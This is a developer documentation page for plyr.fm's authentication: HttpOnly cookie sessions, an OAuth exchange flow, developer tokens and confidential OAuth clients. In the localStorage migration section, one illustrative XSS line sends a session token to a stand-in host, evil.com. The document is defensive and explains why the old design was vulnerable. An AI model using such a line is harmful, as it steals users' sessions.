music on atproto
plyr.fm
1# authentication
2
3plyr.fm uses secure cookie-based authentication to protect user sessions from XSS attacks.
4
5## overview
6
7**flow**:
81. user initiates OAuth login via `/auth/start?handle={handle}`
92. backend redirects to user's PDS for authorization
103. PDS redirects back to `/auth/callback` with authorization code
114. backend exchanges code for OAuth tokens, creates session
125. backend creates one-time exchange token, redirects to frontend
136. frontend calls `/auth/exchange` with exchange token
147. backend sets HttpOnly cookie and returns session_id
158. all subsequent requests automatically include cookie
16
17```mermaid
18sequenceDiagram
19 autonumber
20 participant U as User Browser
21 participant FE as Frontend (Svelte)
22 participant API as Backend API
23 participant PDS as User PDS
24 participant DB as Session DB
25
26 U->>FE: Visit /portal (unauthenticated)
27 FE->>API: GET /auth/start?handle=handle
28 API-->>U: 307 redirect to PDS authorize
29 U->>PDS: Approve OAuth request
30 PDS-->>API: /auth/callback (code, state, iss)
31 API->>PDS: POST /oauth/token
32 API->>DB: INSERT session (encrypted tokens)
33 API-->>U: 303 redirect /portal?exchange_token=…
34 FE->>API: POST /auth/exchange {exchange_token}
35 API->>DB: UPDATE exchange token (mark used)
36 API-->>FE: Set-Cookie session_id=… (HttpOnly)
37 FE->>API: Subsequent fetches w/ credentials: include
38 API->>DB: SELECT session via cookie
39 API-->>FE: JSON response (tracks, likes, uploads…)
40```
41
42**key security properties**:
43- session tokens stored in HttpOnly cookies (not accessible to JavaScript)
44- cookies use `Secure` flag (HTTPS only in production)
45- cookies use `SameSite=Lax` (CSRF protection)
46- no explicit domain set (prevents cross-environment leakage)
47- frontend never touches session_id in localStorage or JavaScript
48
49## backend implementation
50
51### setting cookies
52
53cookies are set in `/auth/exchange` after validating the one-time exchange token:
54
55```python
56# src/backend/api/auth.py
57if is_browser and settings.frontend.url:
58 is_localhost = settings.frontend.url.startswith("http://localhost")
59
60 response.set_cookie(
61 key="session_id",
62 value=session_id,
63 httponly=True,
64 secure=not is_localhost, # secure cookies require HTTPS
65 samesite="lax",
66 max_age=14 * 24 * 60 * 60, # 14 days
67 )
68```
69
70**environment behavior**:
71- **localhost**: `secure=False` (HTTP development)
72- **staging/production**: `secure=True` (HTTPS required)
73- **no domain parameter**: cookies scoped to exact host (prevents staging→production leakage)
74
75### reading cookies
76
77auth dependencies check cookies first, fall back to Authorization header:
78
79```python
80# src/backend/_internal/auth.py
81async def require_auth(
82 authorization: Annotated[str | None, Header()] = None,
83 session_id: Annotated[str | None, Cookie(alias="session_id")] = None,
84) -> Session:
85 """require authentication with cookie (browser) or header (SDK/CLI) support."""
86 session_id_value = None
87
88 if session_id: # check cookie first
89 session_id_value = session_id
90 elif authorization and authorization.startswith("Bearer "):
91 session_id_value = authorization.removeprefix("Bearer ")
92
93 if not session_id_value:
94 raise HTTPException(status_code=401, detail="not authenticated")
95
96 session = await get_session(session_id_value)
97 if not session:
98 raise HTTPException(status_code=401, detail="invalid or expired session")
99
100 return session
101```
102
103**parameter aliasing**: `Cookie(alias="session_id")` tells FastAPI to look for a cookie named `session_id` (not the parameter name).
104
105### optional auth endpoints
106
107endpoints that show different data for authenticated vs anonymous users:
108
109```python
110# src/backend/api/tracks.py
111@router.get("/")
112async def list_tracks(
113 db: Annotated[AsyncSession, Depends(get_db)],
114 request: Request,
115 session_id_cookie: Annotated[str | None, Cookie(alias="session_id")] = None,
116) -> dict:
117 # check cookie or header
118 session_id = (
119 session_id_cookie
120 or request.headers.get("authorization", "").replace("Bearer ", "")
121 )
122
123 # optional auth logic
124 if session_id and (auth_session := await get_session(session_id)):
125 # fetch liked tracks for authenticated user
126 liked_track_ids = set(...)
127```
128
129**examples**:
130- `/tracks/` - shows liked state if authenticated
131- `/tracks/{track_id}` - shows liked state if authenticated
132- `/albums/{handle}/{slug}` - shows liked state for album tracks if authenticated
133
134## frontend implementation
135
136### sending cookies
137
138all requests include `credentials: 'include'` to send cookies:
139
140```typescript
141// frontend/src/lib/auth.svelte.ts
142const response = await fetch(`${API_URL}/auth/me`, {
143 credentials: 'include' // send cookies
144});
145```
146
147```typescript
148// frontend/src/lib/uploader.svelte.ts (XMLHttpRequest)
149const xhr = new XMLHttpRequest();
150xhr.open('POST', `${API_URL}/tracks/`);
151xhr.withCredentials = true; // send cookies
152```
153
154### no localStorage
155
156the frontend **never** reads or writes `session_id` to localStorage:
157
158```typescript
159// ❌ OLD (vulnerable to XSS)
160localStorage.setItem('session_id', sessionId);
161const sessionId = localStorage.getItem('session_id');
162headers['Authorization'] = `Bearer ${sessionId}`;
163
164// ✅ NEW (secure)
165// cookies automatically sent with credentials: 'include'
166// no manual session management needed
167```
168
169### auth state management
170
171auth state is checked via `/auth/me`:
172
173```typescript
174// frontend/src/lib/auth.svelte.ts
175async initialize() {
176 try {
177 const response = await fetch(`${API_URL}/auth/me`, {
178 credentials: 'include'
179 });
180
181 if (response.ok) {
182 const data = await response.json();
183 this.user = { did: data.did, handle: data.handle };
184 this.isAuthenticated = true;
185 }
186 } catch (error) {
187 this.isAuthenticated = false;
188 }
189}
190```
191
192## environment architecture
193
194all environments use custom domains on the same eTLD+1 (`.plyr.fm`) to enable cookie sharing between frontend and backend within each environment:
195
196### staging
197- **frontend**: `stg.plyr.fm` (cloudflare pages project: `plyr-fm-stg`)
198- **backend**: `api-stg.plyr.fm` (fly.io app: `relay-api-staging`)
199- **cookie domain**: implicit (scoped to `api-stg.plyr.fm`)
200- **CORS**: backend allows `https://stg.plyr.fm`
201
202### production
203- **frontend**: `plyr.fm` (cloudflare pages project: `plyr-fm`)
204- **backend**: `api.plyr.fm` (fly.io app: `relay-api`)
205- **cookie domain**: implicit (scoped to `api.plyr.fm`)
206- **CORS**: backend allows `https://plyr.fm` and `https://www.plyr.fm`
207
208### local development
209- **frontend**: `localhost:5173` (bun dev server)
210- **backend**: `localhost:8001` (uvicorn)
211- **cookie domain**: implicit (scoped to `localhost`)
212- **CORS**: backend allows `http://localhost:5173`
213
214**why no explicit domain?**
215
216omitting the `domain` parameter prevents cookies from being shared across environments:
217- staging cookie (`api-stg.plyr.fm`) **not** sent to production (`api.plyr.fm`)
218- production cookie (`api.plyr.fm`) **not** sent to staging (`api-stg.plyr.fm`)
219
220if we set `domain=".plyr.fm"`, cookies would be shared across **all** subdomains, causing session leakage between environments.
221
222## why SameSite=Lax?
223
224`SameSite=Lax` provides CSRF protection while allowing same-site requests:
225
226- **allows**: navigation from `stg.plyr.fm` → `api-stg.plyr.fm` (same eTLD+1)
227- **allows**: fetch with `credentials: 'include'` from same origin
228- **blocks**: cross-site POST requests (CSRF protection)
229- **blocks**: cookies from being sent to completely different domains
230
231**alternative: SameSite=None**
232- required for cross-site cookies (e.g., embedding widgets from external domains)
233- not needed for plyr.fm since frontend and backend are same-site
234- less secure (allows cross-site requests)
235
236## why HttpOnly?
237
238`HttpOnly` cookies cannot be accessed by JavaScript:
239
240```javascript
241// ❌ cannot read HttpOnly cookies
242console.log(document.cookie); // session_id not visible
243
244// ✅ cookies still sent automatically
245fetch('/auth/me', { credentials: 'include' });
246```
247
248**protects against**:
249- XSS attacks stealing session tokens
250- malicious scripts exfiltrating credentials
251- account takeover via stolen sessions
252
253**does NOT protect against**:
254- CSRF (use SameSite for that)
255- man-in-the-middle attacks (use Secure flag + HTTPS)
256- session fixation (use secure random session IDs)
257
258## migration from localStorage
259
260issue #237 tracked the migration from localStorage to cookies.
261
262**old flow** (vulnerable):
2631. `/auth/exchange` returns `{ session_id: "..." }`
2642. frontend stores in localStorage: `localStorage.setItem('session_id', sessionId)`
2653. every request: `headers['Authorization'] = Bearer ${localStorage.getItem('session_id')}`
2664. ❌ any XSS payload can steal: `fetch('https://evil.com?token=' + localStorage.getItem('session_id'))`
267
268**new flow** (secure):
2691. `/auth/exchange` sets HttpOnly cookie AND returns `{ session_id: "..." }`
2702. frontend does nothing with session_id (only for SDK/CLI clients)
2713. every request: `credentials: 'include'` sends cookie automatically
2724. ✅ JavaScript cannot access session_id
273
274**backwards compatibility**:
275- backend still returns `session_id` in response body for non-browser clients
276- backend accepts both cookies and Authorization headers
277- SDK/CLI clients unaffected (continue using headers)
278
279## security checklist
280
281authentication implementation checklist:
282
283- [x] cookies use `HttpOnly` flag
284- [x] cookies use `Secure` flag in production
285- [x] cookies use `SameSite=Lax` or `SameSite=Strict`
286- [x] no explicit `domain` set (prevents cross-environment leakage)
287- [x] frontend sends `credentials: 'include'` on all requests
288- [x] frontend never reads/writes session_id to localStorage
289- [x] backend checks cookies before Authorization header
290- [x] CORS configured per environment (only allow same-origin)
291- [x] session tokens are cryptographically random
292- [x] sessions expire after reasonable time (14 days)
293- [x] logout properly deletes cookies
294
295## testing
296
297### manual testing
298
299**test cookie is set**:
3001. log in at https://stg.plyr.fm
3012. open DevTools → Application → Cookies → `https://api-stg.plyr.fm`
3023. verify `session_id` cookie exists with:
303 - HttpOnly: ✓
304 - Secure: ✓
305 - SameSite: Lax
306 - Path: /
307 - Domain: api-stg.plyr.fm (no leading dot)
308
309**test cookie is sent**:
3101. stay logged in
3112. open DevTools → Network tab
3123. navigate to `/portal` or any authenticated page
3134. inspect request to `/auth/me`
3145. verify `Cookie: session_id=...` header is present
315
316**test cross-environment isolation**:
3171. log in to staging at https://stg.plyr.fm
3182. open https://plyr.fm (production)
3193. verify you are NOT logged in (staging cookie not sent to production)
320
321## troubleshooting
322
323### cookies not being set
324
325**symptom**: `/auth/exchange` returns 200 but no cookie in DevTools
326
327**check**:
3281. is `FRONTEND_URL` environment variable set?
329 ```bash
330 flyctl ssh console -a relay-api-staging
331 echo $FRONTEND_URL
332 ```
3332. is request from a browser (user-agent header)?
3343. is response using HTTPS in production (Secure flag requires it)?
335
336### cookies not being sent
337
338**symptom**: `/auth/me` returns 401 even after login
339
340**check**:
3411. frontend using `credentials: 'include'`?
3422. CORS allowing credentials?
343 ```python
344 # backend MUST allow credentials
345 allow_credentials=True
346 ```
3473. origin matches CORS regex?
3484. SameSite policy blocking request?
349
350### localhost cookies not working
351
352**symptom**: cookies work in staging/production but not localhost
353
354**check**:
3551. is `FRONTEND_URL=http://localhost:5173` set locally?
3562. frontend and backend both on `localhost` (not `127.0.0.1`)?
3573. backend using `secure=False` for localhost?
358
359## developer tokens (programmatic access)
360
361for scripts, CLIs, and automated workflows, create a long-lived developer token:
362
363### creating a token
364
365**via UI (recommended)**:
3661. go to portal → "your data" → "developer tokens" section
3672. optionally enter a name (e.g., "upload-script", "ci-pipeline")
3683. select expiration (30/90/180/365 days or never)
3694. click "create token"
3705. **authorize at your PDS** (you'll be redirected to approve the OAuth grant)
3716. copy the token immediately after redirect (shown only once)
372
373**via API**:
374```javascript
375// step 1: start OAuth flow (returns auth_url to redirect to)
376const response = await fetch('/auth/developer-token/start', {
377 method: 'POST',
378 headers: {'Content-Type': 'application/json'},
379 credentials: 'include',
380 body: JSON.stringify({ name: 'my-script', expires_in_days: 90 })
381});
382const { auth_url } = await response.json();
383// step 2: redirect user to auth_url to authorize at their PDS
384// step 3: on callback, token is returned via exchange flow
385```
386
387### managing tokens
388
389**list active tokens**:
390the portal shows all your active developer tokens with:
391- token name (or auto-generated identifier)
392- creation date
393- expiration date
394
395**revoke a token**:
3961. go to portal → "your data" → "developer tokens"
3972. find the token in the list
3983. click "revoke" to immediately invalidate it
399
400**via API**:
401```bash
402# list tokens
403curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens
404
405# revoke by prefix (first 8 chars shown in list)
406curl -X DELETE -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens/abc12345
407```
408
409### using tokens
410
411set the token in your environment:
412```bash
413export PLYR_TOKEN="your_token_here"
414```
415
416use with any authenticated endpoint:
417```bash
418# check auth
419curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/me
420```
421
422**CLI usage** (`scripts/plyr.py`):
423```bash
424# list your tracks
425PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py list
426
427# upload a track
428PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py upload track.mp3 "My Track"
429
430# download a track
431PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py download 42 -o my-track.mp3
432
433# delete a track
434PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py delete 42 -y
435```
436
437### configuration
438
439backend settings in `AuthSettings`:
440- `developer_token_default_days`: default expiration (90 days)
441- `developer_token_max_days`: max allowed expiration (365 days)
442- use `expires_in_days: 0` to request the maximum allowed by refresh lifetime
443
444### how it works
445
446developer tokens are sessions with their own independent OAuth grant. when you create a dev token, you go through a full OAuth authorization flow at your PDS, which gives the token its own access/refresh credentials. this means:
447- dev tokens can refresh independently (no staleness when browser session refreshes)
448- each token has its own DPoP keypair for request signing
449- logging out of browser doesn't affect dev tokens (cookie isolation)
450- revoking browser session doesn't affect dev tokens
451
452dev tokens can:
453- read your data (tracks, likes, profile)
454- upload tracks (creates ATProto records on your PDS)
455- perform any authenticated action
456
457**security notes**:
458- tokens have full account access - treat like passwords
459- revoke individual tokens via the portal or API
460- each token is independent - revoking one doesn't affect others
461- token names help identify which token is used where
462- tokens require explicit OAuth consent at your PDS
463
464## OAuth client types: public vs confidential
465
466ATProto OAuth distinguishes between two types of clients based on their ability to authenticate themselves to the authorization server.
467
468### what is a confidential client?
469
470a **confidential client** is an OAuth client that can prove its identity to the authorization server using cryptographic keys. the term "confidential" means the client can keep a secret - specifically, an ES256 private key that never leaves the server.
471
472**public client** (default):
473- cannot authenticate itself (uses `token_endpoint_auth_method: "none"`)
474- anyone could impersonate your client_id
475- authorization server issues **2-week refresh tokens**
476
477**confidential client** (with `OAUTH_JWK`):
478- authenticates using `private_key_jwt` - signs a JWT with its private key
479- authorization server verifies signature against your `/.well-known/jwks.json`
480- proves the request actually came from your server
481- authorization server issues **180-day refresh tokens**
482
483### why this matters for plyr.fm
484
485with public clients, the underlying ATProto refresh token expires after 2 weeks regardless of what we store in our database. users would need to re-authenticate with their PDS every 2 weeks.
486
487with confidential clients:
488- **developer tokens work long-term** - not limited to 2 weeks
489- **users don't get randomly kicked out** after 2 weeks of inactivity
490- **sessions last up to refresh lifetime** as long as tokens are refreshed within 180 days
491
492### how it works
493
4941. **key generation**: generate an ES256 (P-256) keypair
495 ```bash
496 uv run python scripts/gen_oauth_jwk.py
497 ```
498
4992. **configuration**: set `OAUTH_JWK` env var with the private key JSON
500
5013. **JWKS endpoint**: backend serves public key at `/.well-known/jwks.json`
502 - authorization server fetches this to verify our signatures
503
5044. **client metadata**: `/oauth-client-metadata.json` advertises:
505 ```json
506 {
507 "token_endpoint_auth_method": "private_key_jwt",
508 "token_endpoint_auth_signing_alg": "ES256",
509 "jwks_uri": "https://plyr.fm/.well-known/jwks.json"
510 }
511 ```
512
5135. **token requests**: on every token request (initial AND refresh), the library:
514 - creates a short-lived JWT (`client_assertion`) signed with our private key
515 - includes `client_assertion_type` and `client_assertion` in the request
516 - PDS verifies signature → issues long-lived tokens
517
518### implementation details
519
520the confidential client support lives in our `atproto` fork (`zzstoatzz/atproto`):
521
522```python
523# packages/atproto_oauth/client.py
524client = OAuthClient(
525 client_id='https://plyr.fm/oauth-client-metadata.json',
526 redirect_uri='https://plyr.fm/auth/callback',
527 scope='atproto ...',
528 state_store=state_store,
529 session_store=session_store,
530 client_secret_key=ec_private_key, # enables confidential client
531)
532```
533
534when `client_secret_key` is set, `_make_token_request()` automatically adds client assertions to all token endpoint calls (initial exchange, refresh, revoke).
535
536### key rotation
537
538for key rotation:
5391. generate new key with different `kid` (key ID)
5402. add both keys to JWKS (old and new)
5413. deploy - new tokens use new key, old tokens still verify
5424. after 180 days, remove old key from JWKS
543
544### token refresh mechanism
545
546plyr.fm automatically refreshes ATProto tokens when they expire. here's how it works:
547
5481. **trigger**: user makes a PDS request (upload, create record, etc.)
5492. **detection**: PDS returns `401 Unauthorized` with `"exp"` in error message (access token expired)
5503. **refresh**: `_refresh_session_tokens()` in `_internal/atproto/client.py`:
551 - acquires per-session lock (prevents race conditions)
552 - calls `OAuthClient.refresh_session()` with the refresh token
553 - for confidential clients: signs a client assertion JWT
554 - PDS verifies assertion → issues new tokens
555 - saves new tokens to database
5564. **retry**: original request retries with fresh tokens
557
558**what gets refreshed**:
559- **access token**: short-lived (~minutes), refreshed frequently
560- **refresh token**: long-lived (2 weeks public, 180 days confidential), rotated on each use
561
562**observability**: look for these log messages in logfire:
563- `"access token expired for did:plc:..., attempting refresh"`
564- `"refreshing access token for did:plc:..."`
565- `"successfully refreshed access token for did:plc:..."`
566
567### migration: deploying confidential client
568
569when deploying confidential client support, **existing sessions continue to work** but have limitations:
570
571| aspect | existing sessions | new sessions (post-deploy) |
572|--------|-------------------|---------------------------|
573| plyr.fm session | unchanged | unchanged |
574| ATProto refresh token | 2-week lifetime (public client) | 180-day lifetime (confidential) |
575| behavior at 2 weeks | refresh fails → re-auth needed | continues working |
576
577**what happens to existing tokens**:
5781. existing sessions were created as "public client" - the PDS issued 2-week refresh tokens
5792. those refresh tokens cannot be upgraded - they have a fixed expiration
5803. when the refresh token expires, the next PDS request will fail
5814. users will need to re-authenticate to get new sessions with 180-day refresh tokens
582
583**timeline example**:
584- dec 8: user creates dev token (public client, 2-week refresh)
585- dec 22: ATProto refresh token expires
586- user tries to upload → refresh fails → 401 error
587- user creates new dev token → now gets 180-day refresh
588
589**production impact** (as of deployment):
590- most browser sessions expire within 14 days anyway (cookie `max_age`)
591- developer tokens are affected most - they have 90+ day session expiry but 2-week refresh
592- only 3 long-lived dev tokens in production (internal accounts)
593- new sessions will automatically get 180-day refresh tokens
594
595### sources
596
597- [ATProto OAuth spec - tokens and session lifetime](https://atproto.com/specs/oauth#tokens-and-session-lifetime)
598- [RFC 7523 - JWT Bearer Client Authentication](https://datatracker.ietf.org/doc/html/rfc7523)
599- [bailey's ATProto SvelteKit template](https://tangled.org/baileytownsend.dev/atproto-sveltekit-template) - TypeScript reference implementation
600- PR #578: confidential OAuth client support
601
602## references
603
604- [MDN: HttpOnly cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security)
605- [MDN: SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#samesitesamesite-value)
606- [OWASP: Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)
607- [ATProto OAuth spec](https://atproto.com/specs/oauth)
608- issue #237: secure browser auth storage
609- PR #239: frontend localStorage removal
610- PR #243: backend cookie implementation
611- PR #244: merged cookie-based auth
612- PR #367: developer tokens with independent OAuth grants